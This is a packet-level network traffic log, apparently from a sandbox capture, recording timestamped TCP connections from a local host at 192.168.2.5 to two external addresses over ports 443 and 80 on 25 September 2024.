Sep 25, 2024 18:00:51.088368893 CEST	49729	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:51.088432074 CEST	49729	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:51.089247942 CEST	49729	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:51.089287043 CEST	443	49729	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:51.660957098 CEST	443	49730	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:51.661178112 CEST	49730	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:51.661900043 CEST	49730	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:51.661931992 CEST	443	49730	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:51.663780928 CEST	49730	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:51.663794041 CEST	443	49730	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:52.495878935 CEST	443	49730	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:52.495903969 CEST	443	49730	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:52.495981932 CEST	443	49730	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:52.496040106 CEST	49730	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:52.496093988 CEST	49730	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:52.496320963 CEST	49730	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:52.496344090 CEST	443	49730	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:52.499727964 CEST	49731	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:52.499766111 CEST	443	49731	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:52.499866962 CEST	49731	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:52.500189066 CEST	49731	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:52.500201941 CEST	443	49731	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:53.193111897 CEST	443	49731	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:53.193245888 CEST	49731	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:53.195132971 CEST	49731	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:53.195143938 CEST	443	49731	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:53.196868896 CEST	49731	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:53.196873903 CEST	443	49731	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:53.912415981 CEST	443	49731	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:53.912437916 CEST	443	49731	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:53.912499905 CEST	443	49731	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:53.912544012 CEST	49731	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:53.912610054 CEST	49731	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:53.913072109 CEST	49731	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:53.913090944 CEST	443	49731	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:53.935410023 CEST	49732	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:53.935466051 CEST	443	49732	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:53.935571909 CEST	49732	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:53.935969114 CEST	49732	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:53.935986042 CEST	443	49732	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:54.594599962 CEST	443	49732	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:54.594741106 CEST	49732	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:54.595310926 CEST	49732	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:54.595340014 CEST	443	49732	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:54.596977949 CEST	49732	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:54.596990108 CEST	443	49732	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:55.277973890 CEST	443	49732	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:55.278048992 CEST	443	49732	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:55.278055906 CEST	49732	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:55.278101921 CEST	49732	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:55.278987885 CEST	49732	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:55.279011965 CEST	443	49732	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:56.219489098 CEST	49734	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:56.219535112 CEST	443	49734	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:56.219605923 CEST	49734	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:56.219949961 CEST	49734	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:56.219969034 CEST	443	49734	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:57.096149921 CEST	443	49734	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:57.096376896 CEST	49734	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:57.096847057 CEST	49734	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:57.096856117 CEST	443	49734	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:57.098669052 CEST	49734	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:57.098674059 CEST	443	49734	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:57.098762035 CEST	49734	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:57.098774910 CEST	443	49734	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:57.098781109 CEST	49734	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:57.098786116 CEST	443	49734	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:57.098897934 CEST	49734	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:57.098922014 CEST	443	49734	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:57.099111080 CEST	49734	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:57.099221945 CEST	443	49734	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:57.102211952 CEST	49734	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:57.102233887 CEST	443	49734	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:58.428919077 CEST	443	49734	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:58.429056883 CEST	49734	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:58.429091930 CEST	443	49734	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:58.429176092 CEST	49734	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:58.429251909 CEST	49734	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:58.429289103 CEST	443	49734	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:58.433226109 CEST	49735	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:58.433315992 CEST	443	49735	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:58.433413982 CEST	49735	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:58.433660984 CEST	49735	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:58.433696985 CEST	443	49735	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:59.078804016 CEST	443	49735	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:59.078897953 CEST	49735	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:59.079442024 CEST	49735	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:59.079468012 CEST	443	49735	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:59.081285954 CEST	49735	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:59.081315994 CEST	443	49735	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:59.923398018 CEST	443	49735	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:59.923480034 CEST	443	49735	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:59.923683882 CEST	49735	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:59.923685074 CEST	49735	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:59.925792933 CEST	49735	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:00:59.925846100 CEST	443	49735	5.75.211.162	192.168.2.5
Sep 25, 2024 18:00:59.929462910 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:00:59.934416056 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:00:59.934564114 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:00:59.934683084 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:00:59.939503908 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:00.632786036 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:00.632833004 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:00.632867098 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:00.632886887 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:00.632886887 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:00.632904053 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:00.632936954 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:00.632982016 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:00.632991076 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:00.632991076 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:00.632992029 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:00.633017063 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:00.633025885 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:00.633053064 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:00.633074999 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:00.633085966 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:00.633121967 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:00.633131027 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:00.633131027 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:00.633178949 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:00.638093948 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:00.638130903 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:00.638155937 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:00.638165951 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:00.638180971 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:00.638219118 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:00.723093033 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:00.723155022 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:00.723180056 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:00.723207951 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:00.723218918 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:00.723242998 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:00.723261118 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:00.723277092 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:00.723284960 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:00.723331928 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:00.723526001 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:00.723558903 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:00.723577976 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:00.723592997 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:00.723608971 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:00.723628998 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:00.723638058 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:00.723674059 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:00.724239111 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:00.724272013 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:00.724289894 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:00.724314928 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:00.817367077 CEST	49737	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:01:00.817456961 CEST	443	49737	5.75.211.162	192.168.2.5
Sep 25, 2024 18:01:00.817558050 CEST	49737	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:01:00.817809105 CEST	49737	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:01:00.817843914 CEST	443	49737	5.75.211.162	192.168.2.5
Sep 25, 2024 18:01:01.666769028 CEST	443	49737	5.75.211.162	192.168.2.5
Sep 25, 2024 18:01:01.666831970 CEST	49737	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:01:01.667268991 CEST	49737	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:01:01.667275906 CEST	443	49737	5.75.211.162	192.168.2.5
Sep 25, 2024 18:01:01.669198990 CEST	49737	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:01:01.669204950 CEST	443	49737	5.75.211.162	192.168.2.5
Sep 25, 2024 18:01:02.601676941 CEST	443	49737	5.75.211.162	192.168.2.5
Sep 25, 2024 18:01:02.601780891 CEST	443	49737	5.75.211.162	192.168.2.5
Sep 25, 2024 18:01:02.601871967 CEST	49737	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:01:02.893678904 CEST	49737	443	192.168.2.5	5.75.211.162
Sep 25, 2024 18:01:02.893754005 CEST	443	49737	5.75.211.162	192.168.2.5
Sep 25, 2024 18:01:03.072715998 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.077647924 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.257937908 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.257982969 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.258019924 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.258035898 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.258035898 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.258054972 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.258090973 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.258105993 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.258106947 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.258142948 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.258307934 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.258363008 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.258372068 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.258394957 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.258414984 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.258438110 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.258680105 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.258733988 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.258754015 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.258786917 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.258816004 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.258842945 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.258876085 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.258908987 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.258924961 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.258959055 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.259454966 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.259506941 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.259516954 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.259540081 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.259555101 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.259588003 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.259632111 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.259665966 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.259679079 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.259708881 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.260298967 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.260350943 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.260369062 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.260401011 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.260417938 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.260447979 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.260451078 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.260489941 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.260505915 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.260541916 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.261148930 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.261202097 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.261233091 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.261265039 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.261286974 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.261307001 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.261307955 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.261339903 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.261362076 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.261382103 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.262012959 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.262048006 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.262067080 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.262082100 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.262103081 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.262125015 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.262125969 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.262172937 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.348315001 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.348381042 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.348387003 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.348413944 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.348424911 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.348448038 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.348481894 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.348512888 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.348526001 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.348526001 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.348526001 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.348551989 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.348593950 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.348634005 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.348640919 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.348699093 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.348804951 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.348853111 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.348916054 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.348947048 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.348961115 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.348998070 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.349040031 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.349090099 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.349128962 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.349162102 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.349174976 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.349211931 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.349299908 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.349332094 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.349345922 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.349364996 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.349381924 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.349400043 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.349416971 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.349440098 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.349463940 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.349512100 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.350028992 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.350061893 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.350080013 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.350096941 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.350102901 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.350143909 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.350178957 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.350213051 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.350224972 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.350244999 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.350260019 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.350280046 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.350287914 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.350323915 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.350362062 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.350408077 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.350877047 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.350925922 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.350929022 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.350961924 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.350995064 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.351021051 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.351062059 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.351093054 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.351109982 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.351125002 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.351139069 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.351159096 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.351174116 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.351195097 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.351207972 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.351243019 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.351752043 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.351813078 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.351821899 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.351857901 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.351869106 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.351913929 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.351963997 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.351996899 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.352027893 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.352034092 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.352055073 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.352061033 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.352075100 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.352096081 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.352119923 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.352142096 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.352617025 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.352668047 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.352669954 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.352704048 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.352720976 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.352737904 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.352756023 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.352772951 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.352790117 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.352808952 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.352818012 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.352855921 CEST	49736	80	192.168.2.5	147.45.44.104
Sep 25, 2024 18:01:03.440797091 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.440856934 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.440892935 CEST	80	49736	147.45.44.104	192.168.2.5
Sep 25, 2024 18:01:03.440891981 CEST	49736	80	192.168.2.5	147.45.44.104
